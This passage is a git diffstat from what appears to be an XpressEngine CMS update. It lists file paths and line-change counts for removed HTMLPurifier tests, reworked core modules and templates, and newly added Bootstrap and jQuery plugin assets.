.../tests/HTMLPurifier/HTMLT/name.htmlt | 6 - .../HTMLT/safe-iframe-googlemaps.htmlt | 8 - .../HTMLT/safe-iframe-invalid.htmlt | 7 - .../HTMLT/safe-iframe-youtube.htmlt | 8 - .../HTMLPurifier/HTMLT/safe-iframe.htmlt | 14 - .../HTMLT/safe-object-embed-munge.htmlt | 10 - .../HTMLT/safe-object-embed.htmlt | 8 - .../HTMLPurifier/HTMLT/script-bare.htmlt | 9 - .../HTMLPurifier/HTMLT/script-cdata.htmlt | 11 - .../HTMLPurifier/HTMLT/script-comment.htmlt | 11 - .../HTMLT/script-dbl-comment.htmlt | 11 - .../HTMLPurifier/HTMLT/script-ideal.htmlt | 11 - .../HTMLPurifier/HTMLT/secure-munge.htmlt | 10 - .../HTMLT/shift-jis-preserve-yen.htmlt | 8 - .../HTMLT/shift-jis-remove-yen.htmlt | 9 - .../HTMLT/strict-blockquote-with-inline.htmlt | 7 - .../HTMLT/strict-blockquote.htmlt | 7 - .../HTMLPurifier/HTMLT/strict-underline.htmlt | 7 - .../HTMLPurifier/HTMLT/tidy-background.htmlt | 5 - .../HTMLT/trusted-comments-required.htmlt | 6 - .../HTMLT/trusted-comments-table.htmlt | 5 - .../HTMLPurifier/HTMLT/trusted-comments.htmlt | 5 - .../HTMLT/whitespace-preserve.htmlt | 3 - .../tests/HTMLPurifier/Harness.php | 90 - .../tests/HTMLPurifier/IDAccumulatorTest.php | 39 - .../Injector/AutoParagraphTest.php | 515 -- .../Injector/DisplayLinkURITest.php | 33 - .../HTMLPurifier/Injector/LinkifyTest.php | 50 - .../Injector/PurifierLinkifyTest.php | 59 - .../HTMLPurifier/Injector/RemoveEmptyTest.php | 80 - .../RemoveSpansWithoutAttributesTest.php | 99 - .../HTMLPurifier/Injector/SafeObjectTest.php | 88 - .../tests/HTMLPurifier/InjectorHarness.php | 13 - .../HTMLPurifier/LanguageFactoryTest.php | 70 - .../tests/HTMLPurifier/LanguageTest.php | 79 - .../tests/HTMLPurifier/LengthTest.php | 73 - .../HTMLPurifier/Lexer/DirectLexTest.php | 130 - .../Lexer/DirectLex_ErrorsTest.php | 58 - .../tests/HTMLPurifier/LexerTest.php | 752 -- .../tests/HTMLPurifier/PHPT/domxml.phpt | 15 - .../tests/HTMLPurifier/PHPT/func.phpt | 9 - .../tests/HTMLPurifier/PHPT/kses/basic.phpt | 15 - .../HTMLPurifier/PHPT/loading/_autoload.inc | 12 - .../PHPT/loading/_no-autoload.inc | 17 - .../PHPT/loading/auto-includes.phpt | 12 - .../PHPT/loading/auto-with-autoload.phpt | 28 - .../auto-with-spl-autoload-default.phpt | 25 - .../PHPT/loading/auto-with-spl-autoload.phpt | 43 - .../loading/auto-without-spl-autoload.phpt | 19 - .../auto-without-spl-with-autoload.phpt | 21 - .../tests/HTMLPurifier/PHPT/loading/auto.phpt | 11 - ...rror-auto-with-spl-nonstatic-autoload.phpt | 32 - .../PHPT/loading/path-includes-autoload.phpt | 14 - .../PHPT/loading/path-includes.phpt | 12 - .../PHPT/loading/safe-includes.phpt | 12 - .../PHPT/loading/standalone-autoload.phpt | 12 - .../PHPT/loading/standalone-with-prefix.phpt | 15 - .../HTMLPurifier/PHPT/loading/standalone.phpt | 13 - .../tests/HTMLPurifier/PHPT/stub.phpt | 6 - .../tests/HTMLPurifier/PHPT/utf8.phpt | 9 - .../PHPT/ze1_compatibility_mode.phpt | 14 - .../tests/HTMLPurifier/PercentEncoderTest.php | 63 - .../tests/HTMLPurifier/PropertyListTest.php | 93 - .../HTMLPurifier/SimpleTest/Reporter.php | 60 - .../HTMLPurifier/SimpleTest/TextReporter.php | 21 - .../HTMLPurifier/Strategy/CompositeTest.php | 66 - .../tests/HTMLPurifier/Strategy/CoreTest.php | 45 - .../HTMLPurifier/Strategy/ErrorsHarness.php | 18 - .../HTMLPurifier/Strategy/FixNestingTest.php | 144 - .../Strategy/FixNesting_ErrorsTest.php | 41 - .../MakeWellFormed/EndInsertInjector.php | 18 - .../MakeWellFormed/EndInsertInjectorTest.php | 38 - .../MakeWellFormed/EndRewindInjector.php | 29 - .../MakeWellFormed/EndRewindInjectorTest.php | 33 - .../Strategy/MakeWellFormed/SkipInjector.php | 12 - .../MakeWellFormed/SkipInjectorTest.php | 27 - .../Strategy/MakeWellFormedTest.php | 149 - .../Strategy/MakeWellFormed_ErrorsTest.php | 62 - .../Strategy/MakeWellFormed_InjectorTest.php | 149 - .../Strategy/RemoveForeignElementsTest.php | 115 - .../RemoveForeignElements_ErrorsTest.php | 71 - .../RemoveForeignElements_TidyTest.php | 45 - .../Strategy/ValidateAttributesTest.php | 232 - .../Strategy/ValidateAttributes_IDTest.php | 63 - .../Strategy/ValidateAttributes_TidyTest.php | 351 - .../tests/HTMLPurifier/StrategyHarness.php | 15 - .../StringHashParser/AppendMultiline.txt | 5 - .../HTMLPurifier/StringHashParser/Default.txt | 2 - .../HTMLPurifier/StringHashParser/Multi.txt | 19 - .../StringHashParser/OverrideSingle.txt | 3 - .../HTMLPurifier/StringHashParser/Simple.txt | 10 - .../HTMLPurifier/StringHashParserTest.php | 89 - .../tests/HTMLPurifier/StringHashTest.php | 20 - .../tests/HTMLPurifier/TagTransformTest.php | 179 - .../tests/HTMLPurifier/TokenFactoryTest.php | 17 - .../tests/HTMLPurifier/TokenTest.php | 34 - .../tests/HTMLPurifier/URIDefinitionTest.php | 62 - .../DisableExternalResourcesTest.php | 23 - .../URIFilter/DisableExternalTest.php | 53 - .../URIFilter/DisableResourcesTest.php | 24 - .../URIFilter/HostBlacklistTest.php | 29 - .../URIFilter/MakeAbsoluteTest.php | 146 - .../HTMLPurifier/URIFilter/MungeTest.php | 145 - .../tests/HTMLPurifier/URIFilterHarness.php | 15 - .../tests/HTMLPurifier/URIHarness.php | 31 - .../tests/HTMLPurifier/URIParserTest.php | 145 - .../HTMLPurifier/URISchemeRegistryTest.php | 49 - .../tests/HTMLPurifier/URISchemeTest.php | 188 - .../tests/HTMLPurifier/URITest.php | 201 - .../tests/HTMLPurifier/UnitConverterTest.php | 131 - .../HTMLPurifier/VarParser/FlexibleTest.php | 66 - .../HTMLPurifier/VarParser/NativeTest.php | 12 - .../tests/HTMLPurifier/VarParserHarness.php | 33 - .../htmlpurifier/tests/HTMLPurifierTest.php | 50 - .../tests/PHPT/Controller/SimpleTest.php | 24 - .../tests/PHPT/Reporter/SimpleTest.php | 77 - .../tests/PHPT/Section/PRESKIPIF.php | 36 - .../security/htmlpurifier/tests/common.php | 231 - .../htmlpurifier/tests/default_load.php | 3 - .../tests/generate_mock_once.func.php | 11 - classes/security/htmlpurifier/tests/index.php | 217 - .../security/htmlpurifier/tests/multitest.php | 159 - .../htmlpurifier/tests/path2class.func.php | 14 - .../htmlpurifier/tests/test_files.php | 45 - .../security/htmlpurifier/tests/tmp/README | 3 - classes/security/phphtmlparser/CVS/Entries | 4 - .../security/phphtmlparser/CVS/Entries.Extra | 4 - .../phphtmlparser/CVS/Entries.Extra.Old | 3 - .../security/phphtmlparser/CVS/Entries.Old | 4 - classes/security/phphtmlparser/CVS/Repository | 1 - classes/security/phphtmlparser/CVS/Root | 1 - classes/security/phphtmlparser/README | 70 - classes/security/phphtmlparser/release.sh | 10 - .../security/phphtmlparser/src/CVS/Entries | 7 - .../phphtmlparser/src/CVS/Entries.Extra | 6 - .../phphtmlparser/src/CVS/Entries.Old | 0 .../security/phphtmlparser/src/CVS/Repository | 1 - classes/security/phphtmlparser/src/CVS/Root | 1 - .../phphtmlparser/src/ex_dumptags.php | 11 - .../security/phphtmlparser/src/ex_dumpurl.php | 29 - .../phphtmlparser/src/ex_html2text.php | 18 - .../security/phphtmlparser/src/testfile.html | 8 - classes/template/TemplateHandler.class.php | 572 +- classes/validator/Validator.class.php | 619 +- classes/widget/WidgetHandler.class.php | 22 +- classes/xml/GeneralXmlParser.class.php | 133 +- classes/xml/XmlGenerator.class.php | 84 +- classes/xml/XmlJsFilter.class.php | 660 +- classes/xml/XmlLangParser.class.php | 451 +- classes/xml/XmlParser.class.php | 372 +- classes/xml/XmlQueryParser.150.class.php | 94 +- classes/xml/XmlQueryParser.class.php | 1225 +-- classes/xml/xmlquery/DBParser.class.php | 116 +- classes/xml/xmlquery/QueryParser.class.php | 58 +- .../xml/xmlquery/argument/Argument.class.php | 245 +- .../argument/ConditionArgument.class.php | 250 +- .../xmlquery/argument/SortArgument.class.php | 27 +- .../queryargument/DefaultValue.class.php | 299 +- .../queryargument/QueryArgument.class.php | 83 +- .../queryargument/SortQueryArgument.class.php | 52 +- .../QueryArgumentValidator.class.php | 225 +- .../xmlquery/tags/column/ColumnTag.class.php | 5 + .../tags/column/InsertColumnTag.class.php | 9 +- .../InsertColumnTagWithoutArgument.class.php | 5 +- .../tags/column/InsertColumnsTag.class.php | 37 +- .../tags/column/SelectColumnTag.class.php | 22 +- .../tags/column/SelectColumnsTag.class.php | 44 +- .../tags/column/UpdateColumnTag.class.php | 22 +- .../tags/column/UpdateColumnsTag.class.php | 30 +- .../condition/ConditionGroupTag.class.php | 127 +- .../tags/condition/ConditionTag.class.php | 296 +- .../tags/condition/ConditionsTag.class.php | 145 +- .../condition/JoinConditionsTag.class.php | 39 +- .../xmlquery/tags/group/GroupsTag.class.php | 103 +- .../tags/navigation/IndexTag.class.php | 151 +- .../tags/navigation/LimitTag.class.php | 112 +- .../tags/navigation/NavigationTag.class.php | 209 +- .../xmlquery/tags/query/QueryTag.class.php | 209 +- .../tags/table/HintTableTag.class.php | 107 +- .../xmlquery/tags/table/TableTag.class.php | 248 +- .../xmlquery/tags/table/TablesTag.class.php | 186 +- common/css/bootstrap-responsive.css | 1109 +++ common/css/bootstrap-responsive.min.css | 1 + common/css/bootstrap.css | 6158 +++++++++++++ common/css/bootstrap.min.css | 8 + common/css/mobile.css | 8 + common/css/mobile.min.css | 1 + common/css/xe.css | 91 +- common/css/xe.min.css | 2 +- common/img/glyphicons-halflings-white.png | Bin 0 -> 8777 bytes common/img/glyphicons-halflings.png | Bin 0 -> 12799 bytes common/img/msg.Info.png | Bin 1620 -> 0 bytes common/img/msg.error.png | Bin 1677 -> 0 bytes common/img/msg.loading.gif | Bin 4178 -> 3951 bytes common/img/msg.update.png | Bin 2161 -> 0 bytes common/js/common.js | 49 +- common/js/common.min.js | 1 + common/js/foggyLayer.js | 31 + common/js/plugins/filebox/filebox.js | 77 +- .../ui.colorpicker/css/jPicker-1.1.6.css | 4 +- .../ui.colorpicker/css/jPicker-1.1.6.min.css | 2 +- .../plugins/ui.colorpicker/jpicker-1.1.6.js | 10 +- .../ui.colorpicker/jpicker-1.1.6.min.js | 130 +- common/js/plugins/ui.tree/images/Thumbs.db | Bin 36864 -> 0 bytes common/js/respond.min.js | 6 + common/js/x.js | 3 +- common/js/x.min.js | 10 +- common/js/xe.js | 80 +- common/js/xe.min.js | 76 +- common/js/xml_handler.js | 36 +- common/lang/lang.xml | 203 +- common/tpl/common_layout.html | 122 +- common/tpl/mobile_layout.html | 105 +- common/tpl/popup_layout.html | 7 +- common/tpl/redirect.html | 8 +- common/tpl/refresh.html | 2 +- config/config.inc.php | 514 +- config/func.inc.php | 2598 +++--- config/package.inc.php | 9 +- index.php | 17 +- .../tpl/images => layouts/default}/blank.gif | Bin layouts/default/conf/info.xml | 105 + layouts/default/default.layout.css | 107 + layouts/default/default.layout.ie7.css | 2 + layouts/default/default.layout.ie78.css | 5 + layouts/default/default.layout.js | 93 + layouts/default/default.layout.webfont.css | 5 + layouts/default/layout.html | 111 + layouts/default/siteTitle.png | Bin 0 -> 4306 bytes layouts/default/slideNav.png | Bin 0 -> 918 bytes layouts/default/thumbnail.png | Bin 0 -> 22472 bytes layouts/default/visual.main.1.jpg | Bin 0 -> 11889 bytes layouts/default/visual.main.2.jpg | Bin 0 -> 8900 bytes layouts/default/visual.main.3.jpg | Bin 0 -> 9889 bytes layouts/default/visual.sub.jpg | Bin 0 -> 7846 bytes layouts/xe_official/conf/info.xml | 4 +- layouts/xe_official/layout.html | 2 +- m.layouts/colorCode/conf/info.xml | 2 +- m.layouts/colorCode/css/Blue/layout.css | 2 +- m.layouts/colorCode/css/Gray/layout.css | 2 +- m.layouts/colorCode/css/Orange/layout.css | 2 +- m.layouts/colorCode/css/Red/layout.css | 2 +- m.layouts/colorCode/css/nGreenA/layout.css | 2 +- m.layouts/colorCode/css/nGreenB/layout.css | 2 +- m.layouts/colorCode/layout.html | 59 +- m.layouts/default/layout.html | 16 +- m.layouts/default/mx.css | 6 +- m.layouts/simpleGray/layout.html | 3 +- modules/addon/addon.admin.controller.php | 452 +- modules/addon/addon.admin.model.php | 845 +- modules/addon/addon.admin.view.php | 218 +- modules/addon/addon.class.php | 176 +- modules/addon/addon.controller.php | 394 +- modules/addon/conf/info.xml | 4 +- modules/addon/conf/module.xml | 2 - modules/addon/lang/lang.xml | 20 +- modules/addon/tpl/addon_info.html | 75 +- modules/addon/tpl/addon_list.html | 102 +- modules/addon/tpl/setup_addon.html | 133 +- modules/admin/admin.admin.controller.php | 802 +- modules/admin/admin.admin.model.php | 1335 +-- modules/admin/admin.admin.view.php | 917 +- modules/admin/admin.class.php | 741 +- modules/admin/conf/info.xml | 2 +- modules/admin/conf/module.xml | 19 +- modules/admin/lang/lang.xml | 453 +- modules/admin/schemas/admin_favorite.xml | 2 +- .../tpl/{_spFooter.html => _footer.html} | 16 +- modules/admin/tpl/_header.html | 69 + modules/admin/tpl/_spHeader.html | 40 - modules/admin/tpl/_spLnb.content.html | 10 - modules/admin/tpl/_spShortcut.html | 17 - modules/admin/tpl/admin_bar.html | 5 + modules/admin/tpl/admin_setup.html | 153 +- modules/admin/tpl/config_ftp.html | 170 +- modules/admin/tpl/config_general.html | 482 +- modules/admin/tpl/css/admin.bootstrap.css | 1594 ++++ modules/admin/tpl/css/admin.bootstrap.min.css | 13 + modules/admin/tpl/css/admin.css | 1351 ++- modules/admin/tpl/css/admin.iefix.css | 1 + modules/admin/tpl/css/admin.min.css | 12 +- modules/admin/tpl/css/admin_en.css | 11 +- modules/admin/tpl/css/admin_jp.css | 11 +- modules/admin/tpl/css/admin_ko.css | 11 +- modules/admin/tpl/css/jquery.jqplot.min.css | 1 + modules/admin/tpl/img/btnPlusMinus.gif | Bin 91 -> 0 bytes modules/admin/tpl/img/flag.cn.gif | Bin 366 -> 587 bytes modules/admin/tpl/img/flag.de.gif | Bin 362 -> 579 bytes modules/admin/tpl/img/flag.en.gif | Bin 0 -> 583 bytes modules/admin/tpl/img/flag.es.gif | Bin 360 -> 577 bytes modules/admin/tpl/img/flag.fr.gif | Bin 366 -> 587 bytes modules/admin/tpl/img/flag.jp.gif | Bin 366 -> 582 bytes modules/admin/tpl/img/flag.ko.gif | Bin 0 -> 605 bytes modules/admin/tpl/img/flag.kr.gif | Bin 385 -> 0 bytes modules/admin/tpl/img/flag.mn.gif | Bin 368 -> 585 bytes modules/admin/tpl/img/flag.ru.gif | Bin 361 -> 581 bytes modules/admin/tpl/img/flag.tr.gif | Bin 371 -> 590 bytes modules/admin/tpl/img/flag.tw.gif | Bin 367 -> 585 bytes modules/admin/tpl/img/flag.us.gif | Bin 367 -> 0 bytes modules/admin/tpl/img/flag.vi.gif | Bin 0 -> 589 bytes modules/admin/tpl/img/flag.vn.gif | Bin 370 -> 0 bytes .../admin/tpl/img/glyphicons-halflings.png | Bin 13826 -> 12799 bytes modules/admin/tpl/img/iconArrow.gif | Bin 849 -> 0 bytes modules/admin/tpl/img/iconCheck.gif | Bin 64 -> 0 bytes modules/admin/tpl/img/iconNavVr.gif | Bin 134 -> 0 bytes modules/admin/tpl/img/iconSetting.gif | Bin 632 -> 0 bytes modules/admin/tpl/img/iconStarRating.gif | Bin 1330 -> 0 bytes modules/admin/tpl/img/iconWindow.gif | Bin 574 -> 0 bytes modules/admin/tpl/img/lineTree.gif | Bin 727 -> 0 bytes modules/admin/tpl/img/msg.Info.png | Bin 1620 -> 0 bytes modules/admin/tpl/img/msg.error.png | Bin 1677 -> 0 bytes modules/admin/tpl/img/msg.update.png | Bin 2161 -> 0 bytes modules/admin/tpl/img/preLoader16.gif | Bin 1558 -> 0 bytes modules/admin/tpl/img/starRating.png | Bin 0 -> 1055 bytes modules/admin/tpl/img/toggleSwitch.png | Bin 0 -> 2874 bytes modules/admin/tpl/index.html | 286 +- modules/admin/tpl/js/admin.js | 3493 ++++--- modules/admin/tpl/js/admin.min.js | 86 +- modules/admin/tpl/js/config.js | 3 +- modules/admin/tpl/js/config.min.js | 2 +- modules/admin/tpl/js/excanvas.min.js | 57 + .../admin/tpl/js/jqplot.barRenderer.min.js | 57 + .../tpl/js/jqplot.categoryAxisRenderer.min.js | 57 + .../admin/tpl/js/jqplot.pointLabels.min.js | 57 + modules/admin/tpl/js/jquery.jqplot.min.js | 59 + modules/admin/tpl/js/jquery.jstree.js | 4545 +++++++++ modules/admin/tpl/js/jquery.tmpl.js | 484 + modules/admin/tpl/js/menu_setup.js | 17 +- modules/admin/tpl/js/menu_setup.min.js | 13 +- modules/admin/tpl/js/sitemap.min.js | 12 +- modules/admin/tpl/js/theme.min.js | 4 +- modules/admin/tpl/js/themes/apple/bg.jpg | Bin 0 -> 331 bytes modules/admin/tpl/js/themes/apple/d.png | Bin 0 -> 7765 bytes .../admin/tpl/js/themes/apple/dot_for_ie.gif | Bin 0 -> 43 bytes modules/admin/tpl/js/themes/apple/style.css | 61 + .../admin/tpl/js/themes/apple/throbber.gif | Bin 0 -> 1849 bytes modules/admin/tpl/js/themes/classic/d.gif | Bin 0 -> 3003 bytes modules/admin/tpl/js/themes/classic/d.png | Bin 0 -> 7535 bytes .../tpl/js/themes/classic/dot_for_ie.gif | Bin 0 -> 43 bytes modules/admin/tpl/js/themes/classic/style.css | 77 + .../admin/tpl/js/themes/classic/throbber.gif | Bin 0 -> 1849 bytes modules/admin/tpl/js/themes/default-rtl/d.gif | Bin 0 -> 2872 bytes modules/admin/tpl/js/themes/default-rtl/d.png | Bin 0 -> 7459 bytes .../admin/tpl/js/themes/default-rtl/dots.gif | Bin 0 -> 132 bytes .../admin/tpl/js/themes/default-rtl/style.css | 84 + .../tpl/js/themes/default-rtl/throbber.gif | Bin 0 -> 1849 bytes modules/admin/tpl/js/themes/default/d.gif | Bin 0 -> 2434 bytes modules/admin/tpl/js/themes/default/d.png | Bin 0 -> 5003 bytes modules/admin/tpl/js/themes/default/style.css | 81 + .../admin/tpl/js/themes/default/throbber.gif | Bin 0 -> 1849 bytes modules/admin/tpl/layout.html | 9 +- modules/admin/tpl/popup_layout.html | 6 + modules/admin/tpl/theme.html | 128 - modules/adminlogging/adminlogging.class.php | 82 +- .../adminlogging/adminlogging.controller.php | 81 +- modules/adminlogging/adminlogging.model.php | 26 +- .../autoinstall.admin.controller.php | 644 +- .../autoinstall/autoinstall.admin.model.php | 352 + .../autoinstall/autoinstall.admin.view.php | 1053 ++- modules/autoinstall/autoinstall.class.php | 324 +- modules/autoinstall/autoinstall.lib.php | 1504 +-- modules/autoinstall/autoinstall.model.php | 751 +- modules/autoinstall/autoinstall.view.php | 31 - modules/autoinstall/conf/module.xml | 5 + modules/autoinstall/lang/lang.xml | 71 +- .../autoinstall/queries/getHaveInstance.xml | 11 + modules/autoinstall/queries/getNeedUpdate.xml | 14 + modules/autoinstall/queries/insertPackage.xml | 1 + modules/autoinstall/queries/updatePackage.xml | 1 + .../schemas/autoinstall_packages.xml | 1 + modules/autoinstall/tpl/category.html | 27 +- modules/autoinstall/tpl/css/autoinstall.css | 86 +- modules/autoinstall/tpl/header.html | 5 +- modules/autoinstall/tpl/img/starRating.png | Bin 0 -> 1055 bytes modules/autoinstall/tpl/index.html | 12 +- modules/autoinstall/tpl/install.html | 69 +- modules/autoinstall/tpl/list.html | 290 +- modules/autoinstall/tpl/uninstall.html | 36 +- modules/comment/comment.admin.controller.php | 579 +- modules/comment/comment.admin.view.php | 201 +- modules/comment/comment.class.php | 308 +- modules/comment/comment.controller.php | 2085 +++-- modules/comment/comment.item.php | 1028 ++- modules/comment/comment.model.php | 1636 ++-- modules/comment/comment.view.php | 101 +- modules/comment/conf/info.xml | 4 +- modules/comment/lang/lang.xml | 18 +- modules/comment/queries/insertComment.xml | 2 +- modules/comment/tpl/comment_list.html | 348 +- .../comment/tpl/comment_module_config.html | 100 +- modules/comment/tpl/declared_list.html | 121 +- modules/comment/tpl/header.html | 10 +- modules/comment/tpl/js/comment_admin.js | 9 +- .../communication.admin.controller.php | 89 +- .../communication.admin.model.php | 99 +- .../communication.admin.view.php | 107 +- modules/communication/communication.class.php | 139 +- .../communication.controller.php | 1113 ++- .../communication/communication.mobile.php | 130 +- modules/communication/communication.model.php | 432 +- modules/communication/communication.view.php | 592 +- modules/communication/conf/info.xml | 4 +- modules/communication/conf/module.xml | 49 +- modules/communication/lang/lang.xml | 20 +- .../m.skins/default/css/mcommunication.css | 7 +- .../m.skins/default/friends.html | 7 + .../m.skins/default/js/communication.js | 22 + .../m.skins/default/message_box.html | 11 + .../m.skins/default/messages.html | 4 +- .../m.skins/default/read_message.html | 11 +- .../m.skins/default/send_message.html | 45 + .../communication/m.skins/default/skin.xml | 34 +- .../skins/default/add_friend.html | 33 +- .../skins/default/add_friend_group.html | 46 +- .../skins/default/common_footer.html | 2 +- .../skins/default/common_header.html | 14 +- .../skins/default/css/communication.css | 393 +- .../communication/skins/default/friends.html | 94 +- .../skins/default/js/communication.js | 13 +- .../communication/skins/default/messages.html | 140 +- .../skins/default/new_message.html | 28 +- .../skins/default/send_message.html | 36 +- modules/communication/skins/default/skin.xml | 69 - modules/communication/tpl/colorset_list.html | 20 +- modules/communication/tpl/index.html | 147 +- .../tpl/js/communication_admin.js | 24 +- modules/counter/conf/module.xml | 7 +- modules/counter/counter.admin.view.php | 106 +- modules/counter/counter.class.php | 127 +- modules/counter/counter.controller.php | 355 +- modules/counter/counter.model.php | 647 +- .../counter/queries/updateCounterPageview.xml | 2 +- .../counter/queries/updateCounterUnique.xml | 2 +- .../queries/updateSiteCounterPageview.xml | 2 +- .../queries/updateSiteCounterUnique.xml | 2 +- modules/counter/tpl/counter.css | 4 +- modules/counter/tpl/index.html | 140 +- modules/document/conf/info.xml | 4 +- .../document/document.admin.controller.php | 1454 +-- modules/document/document.admin.model.php | 185 +- modules/document/document.admin.view.php | 328 +- modules/document/document.class.php | 54 +- modules/document/document.controller.php | 744 +- modules/document/document.item.php | 1989 ++-- modules/document/document.model.php | 2727 +++--- modules/document/document.view.php | 319 +- modules/document/lang/lang.xml | 22 +- .../queries/getDocumentExtraVarsCount.xml | 1 + modules/document/queries/getDocumentList.xml | 2 +- .../queries/moveDocumentExtraVars.xml | 11 + modules/document/tpl/category_info.html | 68 - modules/document/tpl/category_list.html | 95 +- modules/document/tpl/checked_list.html | 109 +- modules/document/tpl/declared_list.html | 319 +- modules/document/tpl/document_alias.html | 65 +- modules/document/tpl/document_config.html | 12 +- modules/document/tpl/document_list.html | 361 +- .../document/tpl/document_module_config.html | 90 +- modules/document/tpl/document_trash_list.html | 78 +- modules/document/tpl/extra_keys.html | 234 +- modules/document/tpl/header.html | 16 +- modules/document/tpl/js/document_admin.js | 3 +- modules/document/tpl/js/document_category.js | 167 +- modules/document/tpl/preview_page.html | 2 +- modules/document/tpl/print_page.html | 2 +- modules/document/tpl/saved_list_popup.html | 40 +- .../components/emoticon/emoticon.class.php | 187 +- .../editor/components/emoticon/tpl/popup.css | 7 +- .../editor/components/emoticon/tpl/popup.html | 26 +- .../image_gallery/image_gallery.class.php | 140 +- .../image_gallery/tpl/list_gallery.html | 2 +- .../image_gallery/tpl/list_gallery.min.js | 4 +- .../components/image_gallery/tpl/popup.css | 34 +- .../components/image_gallery/tpl/popup.html | 140 +- .../components/image_gallery/tpl/popup.js | 41 +- .../image_gallery/tpl/popup.min.css | 2 +- .../components/image_gallery/tpl/popup.min.js | 15 +- .../image_gallery/tpl/slide_gallery.html | 4 +- .../image_gallery/tpl/slide_gallery.min.js | 8 +- .../image_link/image_link.class.php | 186 +- .../components/image_link/lang/lang.xml | 2 +- .../components/image_link/tpl/popup.css | 1 + .../components/image_link/tpl/popup.html | 165 +- .../multimedia_link/multimedia_link.class.php | 118 +- .../components/multimedia_link/tpl/popup.css | 2 + .../components/multimedia_link/tpl/popup.html | 96 +- .../components/multimedia_link/tpl/popup.js | 37 +- .../multimedia_link/tpl/popup.min.css | 2 +- .../multimedia_link/tpl/popup.min.js | 2 +- modules/editor/components/poll_maker/info.xml | 2 +- .../components/poll_maker/lang/lang.xml | 2 +- .../poll_maker/poll_maker.class.php | 106 +- .../components/poll_maker/tpl/popup.css | 1 + .../components/poll_maker/tpl/popup.html | 159 +- modules/editor/conf/info.xml | 2 +- modules/editor/editor.admin.controller.php | 322 +- modules/editor/editor.admin.view.php | 299 +- modules/editor/editor.api.php | 26 +- modules/editor/editor.class.php | 203 +- modules/editor/editor.controller.php | 898 +- modules/editor/editor.model.php | 1500 +-- modules/editor/editor.view.php | 312 +- modules/editor/lang/lang.xml | 316 +- modules/editor/skins/dreditor/blank.html | 8 +- modules/editor/skins/dreditor/css/button.css | 57 +- .../editor/skins/dreditor/css/dreditor.css | 570 +- modules/editor/skins/dreditor/css/editor.css | 7 +- .../skins/dreditor/css/style@content.css | 53 +- modules/editor/skins/dreditor/editor.html | 20 +- modules/editor/skins/dreditor/js/DrEditor.js | 4 +- modules/editor/skins/dreditor/lang/lang.xml | 10 +- modules/editor/skins/dreditor/skin.xml | 55 - .../editor/skins/xpresseditor/css/default.css | 32 +- .../skins/xpresseditor/css/default.min.css | 2 +- modules/editor/skins/xpresseditor/editor.html | 12 +- .../skins/xpresseditor/js/Xpress_Editor.js | 28 +- .../skins/xpresseditor/js/xe_textarea.min.js | 2 +- .../skins/xpresseditor/js/xpresseditor.js | 30 +- .../skins/xpresseditor/js/xpresseditor.min.js | 392 +- modules/editor/styles/default/editor.html | 8 +- modules/editor/styles/default/style.css | 1 + modules/editor/styles/dreditor/editor.html | 8 +- modules/editor/styles/dreditor/skin.xml | 14 +- modules/editor/styles/xeStyle/editor.html | 10 +- .../editor/styles/xeStyleBlack/editor.html | 10 +- modules/editor/tpl/admin_index.html | 367 +- modules/editor/tpl/component_not_founded.html | 2 +- modules/editor/tpl/config_preview.html | 12 - modules/editor/tpl/editor_module_config.html | 156 +- modules/editor/tpl/js/editor.js | 8 +- modules/editor/tpl/js/editor_module_config.js | 10 +- modules/editor/tpl/js/uploader.js | 7 +- modules/editor/tpl/preview.html | 2 +- modules/editor/tpl/setup_component.html | 176 +- modules/editor/tpl/view_component.html | 128 +- modules/file/conf/info.xml | 4 +- modules/file/conf/module.xml | 5 +- modules/file/file.admin.controller.php | 366 +- modules/file/file.admin.model.php | 377 +- modules/file/file.admin.view.php | 385 +- modules/file/file.class.php | 264 +- modules/file/file.controller.php | 1656 ++-- modules/file/file.model.php | 551 +- modules/file/file.view.php | 94 +- modules/file/lang/lang.xml | 150 +- modules/file/ruleset/imageResize.xml | 7 + modules/file/tpl/adminConfig.html | 94 +- modules/file/tpl/file_config.html | 63 - modules/file/tpl/file_list.html | 348 +- modules/file/tpl/file_module_config.html | 84 +- modules/file/tpl/header.html | 11 +- modules/file/tpl/iframe.html | 2 +- modules/file/tpl/js/fileConfig.js | 9 - modules/file/tpl/js/file_admin.js | 2 + .../file/tpl/print_uploaded_file_list.html | 2 +- modules/importer/extract.class.php | 543 +- .../importer/importer.admin.controller.php | 2244 ++--- modules/importer/importer.admin.view.php | 132 +- modules/importer/importer.class.php | 78 +- modules/importer/lang/lang.xml | 68 +- modules/importer/tpl/header.html | 11 +- modules/importer/tpl/index.html | 183 +- modules/importer/tpl/js/importer_admin.js | 20 +- modules/importer/tpl/js/importer_admin.min.js | 12 +- modules/importer/tpl/process.html | 6 +- modules/importer/ttimport.class.php | 1282 +-- modules/install/conf/module.xml | 4 +- modules/install/install.admin.controller.php | 547 +- modules/install/install.class.php | 70 +- modules/install/install.controller.php | 1130 +-- modules/install/install.model.php | 22 +- modules/install/install.view.php | 253 +- modules/install/lang/lang.xml | 184 +- modules/install/ruleset/cubrid.xml | 2 +- modules/install/ruleset/install.xml | 1 - modules/install/ruleset/installFtpInfo.xml | 4 +- modules/install/ruleset/mssql.xml | 2 +- modules/install/ruleset/mysql.xml | 2 +- modules/install/script/ko.install.php | 207 +- .../script/welcome_content/welcome.css | 17 + .../script/welcome_content/welcome.gif | Bin 0 -> 4982 bytes .../welcome_content/welcome_content_en.html | 54 +- .../welcome_content/welcome_content_es.html | 54 +- .../welcome_content/welcome_content_fr.html | 54 +- .../welcome_content/welcome_content_jp.html | 56 +- .../welcome_content/welcome_content_ko.html | 54 +- .../welcome_content/welcome_content_mn.html | 54 +- .../welcome_content/welcome_content_ru.html | 54 +- .../welcome_content/welcome_content_tr.html | 54 +- .../welcome_content/welcome_content_vi.html | 54 +- .../welcome_content_zh-CN.html | 54 +- .../welcome_content_zh-TW.html | 54 +- modules/install/tpl/admin_form.html | 62 +- .../tpl/after_upload_config_image.html | 7 + modules/install/tpl/check_env.html | 75 +- modules/install/tpl/config_form.html | 56 +- modules/install/tpl/css/install.css | 160 +- modules/install/tpl/footer.html | 2 +- modules/install/tpl/form.cubrid.html | 65 +- modules/install/tpl/form.firebird.html | 35 - modules/install/tpl/form.install.html | 47 - modules/install/tpl/form.mssql.html | 65 +- modules/install/tpl/form.mysql.html | 65 +- modules/install/tpl/form.mysql_innodb.html | 65 +- modules/install/tpl/form.mysqli.html | 65 +- modules/install/tpl/form.postgresql.html | 35 - modules/install/tpl/form.sqlite2.html | 31 - modules/install/tpl/form.sqlite3_pdo.html | 31 - modules/install/tpl/ftp.html | 76 +- modules/install/tpl/header.html | 5 +- 